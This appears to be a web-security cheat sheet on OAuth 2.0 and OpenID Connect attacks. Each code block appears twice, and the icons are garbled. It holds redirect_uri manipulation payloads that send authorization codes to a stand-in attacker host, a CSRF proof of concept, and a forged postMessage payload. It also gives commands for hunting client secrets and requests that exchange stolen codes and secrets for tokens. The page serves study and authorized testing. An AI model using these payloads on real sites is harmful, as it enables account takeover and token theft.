OAuth 2.0 & OIDC Attacks
OAuth 2.0 and OpenID Connect power "Login with Google/Facebook/etc." across the web. Implementation flaws can lead to account takeover, token theft, and unauthorized access.
Warning
๐ Quick Navigation
๐ฏ Fundamentals
โก Token Attacks
- โข Token Leakage
- โข PKCE Bypass
- โข Client Secret Leakage
๐ OIDC Specific
- โข OIDC Attacks
- โข ID Token Manipulation
๐งช Practice
- โข Testing Workflow
- โข Practice Labs
- โข Testing Checklist
OAuth 2.0 Authorization Code Flow
Understanding the OAuth flow is essential for identifying attack points. Each step has potential vulnerabilities.
# OAuth 2.0 Authorization Code Flow
# 1. User clicks "Login with Provider"
โ Redirect to: https://auth.provider.com/authorize?
response_type=code&
client_id=CLIENT_ID&
redirect_uri=https://app.com/callback&
scope=openid profile email&
state=RANDOM_STATE_VALUE
# 2. User authenticates with provider and consents
# 3. Provider redirects back with authorization code
โ Redirect to: https://app.com/callback?
code=AUTHORIZATION_CODE&
state=RANDOM_STATE_VALUE
# 4. App exchanges code for tokens (server-side)
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=https://app.com/callback&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET
# 5. Provider returns tokens
{
"access_token": "eyJ...",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4",
"id_token": "eyJ..." // OIDC only
}# OAuth 2.0 Authorization Code Flow
# 1. User clicks "Login with Provider"
โ Redirect to: https://auth.provider.com/authorize?
response_type=code&
client_id=CLIENT_ID&
redirect_uri=https://app.com/callback&
scope=openid profile email&
state=RANDOM_STATE_VALUE
# 2. User authenticates with provider and consents
# 3. Provider redirects back with authorization code
โ Redirect to: https://app.com/callback?
code=AUTHORIZATION_CODE&
state=RANDOM_STATE_VALUE
# 4. App exchanges code for tokens (server-side)
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=AUTHORIZATION_CODE&
redirect_uri=https://app.com/callback&
client_id=CLIENT_ID&
client_secret=CLIENT_SECRET
# 5. Provider returns tokens
{
"access_token": "eyJ...",
"token_type": "Bearer",
"expires_in": 3600,
"refresh_token": "dGhpcyBpcyBhIHJlZnJlc2ggdG9rZW4",
"id_token": "eyJ..." // OIDC only
}Key Attack Points
Step 1: /authorize
- โข redirect_uri manipulation
- โข Missing/weak state parameter
- โข Scope elevation
Step 3: Callback
- โข Code/token leakage
- โข Open redirect exploitation
- โข State validation bypass
Step 4: /token
- โข Client secret leakage
- โข PKCE bypass
- โข Code replay attacks
Step 5: Token Usage
- โข Token theft via XSS
- โข Insufficient validation
- โข Token reuse across apps
Redirect URI Manipulation
The redirect_uri tells the OAuth provider where to send the authorization code or token. If validation is weak, attackers can redirect tokens to their controlled domain.
# Redirect URI Manipulation Attacks
# Attack 1: Open Redirect for Token Theft
# If redirect_uri validation is weak, steal authorization code
# Legitimate:
https://auth.provider.com/authorize?
redirect_uri=https://app.com/callback
# Attack - Path traversal:
redirect_uri=https://app.com/callback/../attacker-page
redirect_uri=https://app.com/callback/..%2f..%2fattacker
# Attack - Subdomain:
redirect_uri=https://evil.app.com/callback
redirect_uri=https://app.com.attacker.com/callback
# Attack - Parameter pollution:
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com
# Attack - URL encoding tricks:
redirect_uri=https://app.com%40attacker.com/callback
redirect_uri=https://app.com%2f%2fattacker.com/callback
# Attack - Fragment:
redirect_uri=https://app.com/callback#@attacker.com
# Attack - localhost:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callback
# If any work, attacker-controlled page receives:
https://attacker.com/callback?code=AUTHORIZATION_CODE
# Attacker exchanges code for access token!# Redirect URI Manipulation Attacks
# Attack 1: Open Redirect for Token Theft
# If redirect_uri validation is weak, steal authorization code
# Legitimate:
https://auth.provider.com/authorize?
redirect_uri=https://app.com/callback
# Attack - Path traversal:
redirect_uri=https://app.com/callback/../attacker-page
redirect_uri=https://app.com/callback/..%2f..%2fattacker
# Attack - Subdomain:
redirect_uri=https://evil.app.com/callback
redirect_uri=https://app.com.attacker.com/callback
# Attack - Parameter pollution:
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com
# Attack - URL encoding tricks:
redirect_uri=https://app.com%40attacker.com/callback
redirect_uri=https://app.com%2f%2fattacker.com/callback
# Attack - Fragment:
redirect_uri=https://app.com/callback#@attacker.com
# Attack - localhost:
redirect_uri=http://localhost/callback
redirect_uri=http://127.0.0.1/callback
# If any work, attacker-controlled page receives:
https://attacker.com/callback?code=AUTHORIZATION_CODE
# Attacker exchanges code for access token!Tip
State Parameter Attacks (CSRF)
# State Parameter Attacks (CSRF)
# The state parameter prevents CSRF in OAuth flows
# If missing or predictable, attacks are possible
# Attack 1: Missing State Parameter
# Initiate OAuth flow without state
https://auth.provider.com/authorize?
response_type=code&
client_id=xxx&
redirect_uri=https://app.com/callback
# NO state parameter!
# Attack:
# 1. Attacker initiates OAuth with their account
# 2. Gets callback URL with code: /callback?code=ATTACKER_CODE
# 3. Tricks victim into visiting this URL
# 4. Victim's account gets linked to attacker's OAuth account
# Attack 2: Predictable State
# If state=123 or state=user_id, attacker can predict it
# Attack 3: State Not Validated
# App doesn't check if state matches on callback
# Enables CSRF even with state present
# Detection:
1. Remove state parameter - does OAuth still work?
2. Use same state value twice - is it rejected?
3. Use state from different session - is it accepted?
# Proof of Concept:
<html>
<body>
<!-- Force victim to complete attacker's OAuth flow -->
<img src="https://app.com/callback?code=ATTACKER_CODE" />
</body>
</html># State Parameter Attacks (CSRF)
# The state parameter prevents CSRF in OAuth flows
# If missing or predictable, attacks are possible
# Attack 1: Missing State Parameter
# Initiate OAuth flow without state
https://auth.provider.com/authorize?
response_type=code&
client_id=xxx&
redirect_uri=https://app.com/callback
# NO state parameter!
# Attack:
# 1. Attacker initiates OAuth with their account
# 2. Gets callback URL with code: /callback?code=ATTACKER_CODE
# 3. Tricks victim into visiting this URL
# 4. Victim's account gets linked to attacker's OAuth account
# Attack 2: Predictable State
# If state=123 or state=user_id, attacker can predict it
# Attack 3: State Not Validated
# App doesn't check if state matches on callback
# Enables CSRF even with state present
# Detection:
1. Remove state parameter - does OAuth still work?
2. Use same state value twice - is it rejected?
3. Use state from different session - is it accepted?
# Proof of Concept:
<html>
<body>
<!-- Force victim to complete attacker's OAuth flow -->
<img src="https://app.com/callback?code=ATTACKER_CODE" />
</body>
</html>Token Leakage Vectors
# Token Leakage Vectors
# 1. Token in URL (Implicit Flow)
# Tokens exposed in browser history, logs, Referer header
https://app.com/callback#access_token=eyJ...&token_type=bearer
# Attack: Link on page sends Referer with token
<a href="https://attacker.com">Click here</a>
# Request to attacker.com includes:
Referer: https://app.com/callback#access_token=eyJ...
# 2. Token in Query String
https://app.com/callback?access_token=eyJ...
# Tokens may appear in:
# - Server access logs
# - Browser history
# - Proxy logs
# - Analytics (if query params tracked)
# 3. Postmessage Leakage
# If app uses postMessage for token delivery:
window.addEventListener('message', function(e) {
// No origin check!
processToken(e.data.access_token);
});
# Attacker page can send fake messages:
opener.postMessage({access_token: 'attacker_token'}, '*');
# 4. Token in Error Messages
# Verbose errors may expose tokens
{"error": "Invalid token: eyJhbGciOiJIUzI1NiIsInR5..."}# Token Leakage Vectors
# 1. Token in URL (Implicit Flow)
# Tokens exposed in browser history, logs, Referer header
https://app.com/callback#access_token=eyJ...&token_type=bearer
# Attack: Link on page sends Referer with token
<a href="https://attacker.com">Click here</a>
# Request to attacker.com includes:
Referer: https://app.com/callback#access_token=eyJ...
# 2. Token in Query String
https://app.com/callback?access_token=eyJ...
# Tokens may appear in:
# - Server access logs
# - Browser history
# - Proxy logs
# - Analytics (if query params tracked)
# 3. Postmessage Leakage
# If app uses postMessage for token delivery:
window.addEventListener('message', function(e) {
// No origin check!
processToken(e.data.access_token);
});
# Attacker page can send fake messages:
opener.postMessage({access_token: 'attacker_token'}, '*');
# 4. Token in Error Messages
# Verbose errors may expose tokens
{"error": "Invalid token: eyJhbGciOiJIUzI1NiIsInR5..."}PKCE Bypass
PKCE (Proof Key for Code Exchange) was designed to protect against authorization code interception. However, implementation issues can render it ineffective.
# PKCE (Proof Key for Code Exchange) Bypass
# PKCE adds code_verifier/code_challenge to prevent code theft
# But implementation flaws can allow bypass
# Normal PKCE Flow:
# 1. Client generates random code_verifier
# 2. Hashes it: code_challenge = SHA256(code_verifier)
# 3. Sends code_challenge in /authorize request
# 4. Sends code_verifier in /token request
# 5. Server verifies hash matches
# Attack 1: PKCE Not Enforced
# Try authorization request without code_challenge
https://auth.provider.com/authorize?
response_type=code&
client_id=xxx&
redirect_uri=https://app.com/callback
# No code_challenge - if it works, PKCE is optional!
# Then exchange code without code_verifier:
POST /token
grant_type=authorization_code&
code=xxx&
client_id=xxx
# No code_verifier - if it works, PKCE is bypassable!
# Attack 2: Weak Code Challenge Method
# "plain" method just compares strings (no hash)
code_challenge_method=plain
code_challenge=known_value
# Then use code_verifier=known_value
# Attack 3: Code Challenge Not Bound to Code
# Server doesn't verify code_challenge matches the one used during authorization
# Attacker can use any code_verifier for stolen code# PKCE (Proof Key for Code Exchange) Bypass
# PKCE adds code_verifier/code_challenge to prevent code theft
# But implementation flaws can allow bypass
# Normal PKCE Flow:
# 1. Client generates random code_verifier
# 2. Hashes it: code_challenge = SHA256(code_verifier)
# 3. Sends code_challenge in /authorize request
# 4. Sends code_verifier in /token request
# 5. Server verifies hash matches
# Attack 1: PKCE Not Enforced
# Try authorization request without code_challenge
https://auth.provider.com/authorize?
response_type=code&
client_id=xxx&
redirect_uri=https://app.com/callback
# No code_challenge - if it works, PKCE is optional!
# Then exchange code without code_verifier:
POST /token
grant_type=authorization_code&
code=xxx&
client_id=xxx
# No code_verifier - if it works, PKCE is bypassable!
# Attack 2: Weak Code Challenge Method
# "plain" method just compares strings (no hash)
code_challenge_method=plain
code_challenge=known_value
# Then use code_verifier=known_value
# Attack 3: Code Challenge Not Bound to Code
# Server doesn't verify code_challenge matches the one used during authorization
# Attacker can use any code_verifier for stolen codeClient Secret Leakage
# Client Secret Leakage & Misconfiguration
# Finding Client Secrets:
# 1. JavaScript Files
grep -r "client_secret" *.js
# Found: const clientSecret = "abc123";
# 2. Mobile App Reverse Engineering
apktool d app.apk
grep -r "client_secret" app/
# 3. Source Maps
https://app.com/main.js.map
# May contain original source with secrets
# 4. Git History
git log -p | grep -i "client_secret"
# 5. Error Messages
{"error": "invalid_client", "client_id": "xxx", "client_secret": "expected: abc123"}
# Exploitation with Leaked Secret:
# Exchange any authorization code for tokens
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET
# Use refresh tokens to get new access tokens
POST https://auth.provider.com/token
grant_type=refresh_token&
refresh_token=STOLEN_REFRESH_TOKEN&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET# Client Secret Leakage & Misconfiguration
# Finding Client Secrets:
# 1. JavaScript Files
grep -r "client_secret" *.js
# Found: const clientSecret = "abc123";
# 2. Mobile App Reverse Engineering
apktool d app.apk
grep -r "client_secret" app/
# 3. Source Maps
https://app.com/main.js.map
# May contain original source with secrets
# 4. Git History
git log -p | grep -i "client_secret"
# 5. Error Messages
{"error": "invalid_client", "client_id": "xxx", "client_secret": "expected: abc123"}
# Exploitation with Leaked Secret:
# Exchange any authorization code for tokens
POST https://auth.provider.com/token
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&
code=STOLEN_CODE&
redirect_uri=https://app.com/callback&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRET
# Use refresh tokens to get new access tokens
POST https://auth.provider.com/token
grant_type=refresh_token&
refresh_token=STOLEN_REFRESH_TOKEN&
client_id=KNOWN_CLIENT_ID&
client_secret=LEAKED_SECRETOpenID Connect Attacks
OIDC extends OAuth 2.0 with identity features. The id_token (a JWT) introduces additional attack surfaces.
# OpenID Connect (OIDC) Specific Attacks
# OIDC adds identity layer on top of OAuth 2.0
# Uses id_token (JWT) to provide user info
# Attack 1: ID Token Validation Bypass
# id_token should be validated (signature, issuer, audience, expiry)
# Many apps don't validate properly
# Missing validations to test:
- Signature verification (try none algorithm)
- Issuer (iss) claim validation
- Audience (aud) claim validation
- Expiration (exp) check
- Nonce validation (prevents replay)
# Attack 2: Nonce Replay
# Nonce should be unique per authentication request
# If not validated, tokens can be replayed
# Capture valid id_token
# Send same id_token again with different session
# If accepted โ nonce not validated
# Attack 3: Sub Claim Manipulation
# The sub (subject) claim identifies the user
# If app trusts id_token without proper validation:
# Original:
{"sub": "user123", "email": "user@example.com"}
# If signature not checked:
{"sub": "admin", "email": "admin@example.com"}
# Attack 4: ID Token Injection via Implicit Flow
# In implicit flow, id_token comes in fragment
https://app.com/callback#id_token=ATTACKER_CRAFTED_TOKEN
# If app doesn't validate properly, attacker token is accepted
# Attack 5: Discovery Endpoint Spoofing
# OIDC uses /.well-known/openid-configuration
# If app fetches config insecurely, attacker can:
1. MITM the discovery request
2. Point to attacker's jwks_uri
3. Forge valid tokens with attacker's keys# OpenID Connect (OIDC) Specific Attacks
# OIDC adds identity layer on top of OAuth 2.0
# Uses id_token (JWT) to provide user info
# Attack 1: ID Token Validation Bypass
# id_token should be validated (signature, issuer, audience, expiry)
# Many apps don't validate properly
# Missing validations to test:
- Signature verification (try none algorithm)
- Issuer (iss) claim validation
- Audience (aud) claim validation
- Expiration (exp) check
- Nonce validation (prevents replay)
# Attack 2: Nonce Replay
# Nonce should be unique per authentication request
# If not validated, tokens can be replayed
# Capture valid id_token
# Send same id_token again with different session
# If accepted โ nonce not validated
# Attack 3: Sub Claim Manipulation
# The sub (subject) claim identifies the user
# If app trusts id_token without proper validation:
# Original:
{"sub": "user123", "email": "user@example.com"}
# If signature not checked:
{"sub": "admin", "email": "admin@example.com"}
# Attack 4: ID Token Injection via Implicit Flow
# In implicit flow, id_token comes in fragment
https://app.com/callback#id_token=ATTACKER_CRAFTED_TOKEN
# If app doesn't validate properly, attacker token is accepted
# Attack 5: Discovery Endpoint Spoofing
# OIDC uses /.well-known/openid-configuration
# If app fetches config insecurely, attacker can:
1. MITM the discovery request
2. Point to attacker's jwks_uri
3. Forge valid tokens with attacker's keysTesting Workflow
# OAuth/OIDC Testing Workflow
# Step 1: Identify OAuth Endpoints
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/authorize, /oauth/token, /oauth/userinfo
# Step 2: Map the Flow
1. Capture authorize request parameters
2. Note all redirect_uri values used
3. Identify implicit vs authorization code flow
4. Check for PKCE parameters
# Step 3: Test Redirect URI
- Try modifying path, subdomain, port
- Test URL encoding bypasses
- Check regex/wildcard matching
# Step 4: Test State Parameter
- Remove state completely
- Use predictable values
- Check if state is validated on callback
# Step 5: Test Token Handling
- Check where tokens are sent (fragment, query, body)
- Look for token leakage in Referer
- Test token replay
# Step 6: Test PKCE (if present)
- Try without code_challenge
- Try with code_challenge_method=plain
- Try with wrong code_verifier
# Step 7: Test ID Token (OIDC)
- Apply JWT attacks (none algorithm, etc.)
- Check claim validation (iss, aud, exp)
- Test nonce replay# OAuth/OIDC Testing Workflow
# Step 1: Identify OAuth Endpoints
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/authorize, /oauth/token, /oauth/userinfo
# Step 2: Map the Flow
1. Capture authorize request parameters
2. Note all redirect_uri values used
3. Identify implicit vs authorization code flow
4. Check for PKCE parameters
# Step 3: Test Redirect URI
- Try modifying path, subdomain, port
- Test URL encoding bypasses
- Check regex/wildcard matching
# Step 4: Test State Parameter
- Remove state completely
- Use predictable values
- Check if state is validated on callback
# Step 5: Test Token Handling
- Check where tokens are sent (fragment, query, body)
- Look for token leakage in Referer
- Test token replay
# Step 6: Test PKCE (if present)
- Try without code_challenge
- Try with code_challenge_method=plain
- Try with wrong code_verifier
# Step 7: Test ID Token (OIDC)
- Apply JWT attacks (none algorithm, etc.)
- Check claim validation (iss, aud, exp)
- Test nonce replayPractice Labs
PortSwigger OAuth Labs
Comprehensive OAuth vulnerability labs
Wiredbrain OAuth Lab
Vulnerable OAuth implementation for practice
OAuth Security BCP
Official best practices document
HackerOne Reports
Real-world OAuth vulnerability disclosures
Testing Checklist
๐ Redirect URI
- โ Test path manipulation (../, etc.)
- โ Test subdomain variations
- โ Test URL encoding bypasses
- โ Test parameter pollution
- โ Check for open redirect in callback
โก State/CSRF
- โ Remove state parameter
- โ Reuse state values
- โ Use predictable state
- โ Cross-session state usage
๐ PKCE
- โ Try without code_challenge
- โ Try with plain method
- โ Try wrong code_verifier
- โ Check code_challenge binding
๐ Tokens
- โ Check for token in URL/Referer
- โ Test id_token validation
- โ Look for client_secret exposure
- โ Test token replay attacks
- โ Check scope handling